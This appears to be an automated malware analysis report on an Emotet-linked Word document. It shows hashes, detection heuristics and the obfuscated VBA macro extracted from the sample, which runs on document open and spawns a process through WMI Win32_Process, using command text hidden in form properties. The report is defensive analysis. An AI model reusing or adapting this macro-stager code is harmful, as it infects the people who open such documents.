Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8da61524d9a1f15b…

MALICIOUS

Office (OLE)

185.4 KB Created: 2019-12-17 22:30:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 9bfd41df83afd10454f7077011fc37b7 SHA-1: 55f4e9fba7638d135e7982f77d05a4b65cbd26a8 SHA-256: 8da61524d9a1f15bf0efcba7ee42c24fbaff98efc1f28041ae9f5847ada38279
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Dnkgoouwhwrda = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Kyrfizqcvpvg.Apuysxqq + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Lewfkqcu = VBA.CreateObject(Dnkgoouwhwrda)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9741 bytes
SHA-256: d14bcfe7544aa6c6e794ce3d8f1ef63184e5d30e1fe0d279737d32bebc4b34df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
115 of 192 identifiers look randomly generated (e.g. 'wii3j3j3g4nmi3j3j3g4gm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kyrfizqcvpvg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Apuysxqq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Slvwadestkvc = Vytvhcxvfiutr To Ijxgptkynajth
         Sqslivmxphx = Nbglzukax
         Ekzgvyjqerpe = Wcvlizsve
Next
Select Case Txtmgnvuyh
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Njzigenkg = Zejcvhhfl To Kmjsukggsbh
         Fhuogpduhxl = Txiylogaznzo
         Dahgraww = Sywwsdoyxzq
Next
Select Case Uptxmgtvawmzt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Rucwmwqefy = Ojsiowhml To Xcsuzwruxw
         Knroazkbp = Vyvzeeoax
         Euubrhneyl = Hvwihmam
Next
Select Case Wwvewnqjvge
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vwgyvpdtduf
End Sub

Attribute VB_Name = "Unjkwlnutvez"
Attribute VB_Base = "0{93C1FD64-4C7F-4F71-9370-B0040CDE1EA0}{07DFA1EA-51CD-4D6C-A732-DC1A5797300E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Mjlhxlnqz"
Function Xawbjsflf()
   For Uliusttnh = Rsytshekop To Wkayofxkr
         Fkjbaudexjq = Jnfcuknr
         Lkrvfiklt = Sjifdplka
Next
Select Case Vaoazupha
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ephzkyayvqgk = Kyrfizqcvpvg.Apuysxqq
   For Mhiesxzet = Tldwtarvx To Rwsocijwclvy
         Lieemdsirr = Hurrozcuplme
         Vxvxynylirn = Yzjfarkaoe
Next
Select Case Wvjvzwzjvivmu
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Uuculieidgd = Ephzkyayvqgk + Unjkwlnutvez.Prbdhzla + Unjkwlnutvez.Gzucpthnavr + Unjkwlnutvez.Wffrndattfaih
   For Bokaikoc = Ppmzzaokjewg To Gesynytxr
         Otrhoypn = Qimdopqlveu
         Terqowys = Vlgxdufhsy
Next
Select Case Wguyjdmwyjz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Dfnsjdxv = Uuculieidgd + Unjkwlnutvez.Axbvhjyswbo + Unjkwlnutvez.Zqopzswltyq
   For Ifbkffnkwzlf = Kxyadenkh To Ojpvlgehwgz
         Lheiuaiib = Uavbehyxmt
         Ypkthyiaktrov = Phginedal
Next
Select Case Dphcrnvl
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xawbjsflf = Mwvkimnifshsw + Dfnsjdxv + Mwvkimnifshsw
   For Qtqwfiwftv = Bqhhvbjh To Hyzpbmwwwln
         Sontntur = Zmeeihoqgp
         Rxqgkiwzdq = Pthivoyyioz
Next
Select Case Hophvgscfwqdh
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function
Function Vwgyvpdtduf()
   For Fkvrpivb = Cyoszvodk To Xlhgbtdwciak
         Vwxrpepxyqk = Ljjpjqjiynk
         Regybncbeyr = Ndznrwpfrmssr
Next
Select Case Iwindamk
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
XXXXX = "i3j3j3g4"
Dnkgoouwhwrda = Join(Split("wii3j3j3g4nmi3j3j3g4gm" + "i3j3j3g4ts:i3j3j3g4Wini3j3j3g432i3j3j3g4_i3j3j3g4", XXXXX), "") + Kyrfizqcvpvg.Apuysxqq + "rocess"
   For Qhbcswdfed = Fszvvykg To Loiamslkaxbq
         Chberiqoontgu = Sfkzwvntrjltu
         Ypodtnwgofd = Vggytmirrqhao
Next
Select Case Ufowlyperq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Lewfkqcu = VBA.CreateObject(Dnkgoouwhwrda)
   For Dkmtqbtt = Weucrbeitdmox To Mliitwer
         Zxtvcrvktmj = Ogbchppp
         Qeplkjcrnkns = Nrlreeeubk
Next
Select Case Rtxbuamc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Sgkszejlpvgjl = Dnkgoouwhwrda + Unjkwlnutvez.Eqhxegtht.ControlTipText + Unjkwlnutvez.Yppxrkdtfyb.ControlTipText
   For Oswbpzivrf = Ipovgxslw To Jjfjkbvst
         Utepljkqgln = Holmlxrpomnrj
         Tvmzatvurrljb = Tvuicvqihwnz
Next
Select Case Qyctlwkzn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Smaxalax = Sgkszejlpvgjl + Kyrfizqcvpvg.Apuysxqq
   For Gqlayevtvd = Jwoxopldhhmw To Lcrfrlgntjb
         Mbegcpfmtq = Mfgdzdodjs
         Qmylvdew = Ybdajhrb
Next
Select Case Ksegaktgmv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Vwgyvpdtduf = CreateObject(Smaxalax)
   For Ikrmrlrpev = Qovkkeno To Vuxpvfrgqcvuz
         Nyoaytcvpmyx = Lxqploxpbpl
         Fjfwodqwgynvd = Idxilqeeeendw
Next
Select Case Zoauxlkpjupse
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vwgyvpdtduf.XSize = False
   For Wyhnrftac = Xnegnhqdx To Xglqldyn
         Rrddcvryvp = Vatskjyunpju
         Catqcovv = Adkmyfchtcklx
Next
Select Case Popvbijbbtre
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vwgyvpdtduf.YSize = False
   For Orgjyyqtvq = Kmdqbecif To Zgifdlgtevfkx
         Hpdumznuksv = Itohjthcpsmhp
         Kfbfmkxmflr = Mynizjklhy
Next
Select Case Wprxqmwcz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Do While Lewfkqcu.Create(PPPP & Xawbjsflf, Kythhemuri, Vwgyvpdtduf, Qqedcotsc)
Loop
   For Wgxbtfgqvuh = Gunefmlrlbjb To Dxbuxwsuy
         Drrssdbgpcrl = Ffylfozvydtta
         Zmwtlbvuz = Hviemlavsrujt
Next
Select Case Isnyzdsypqvs
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function

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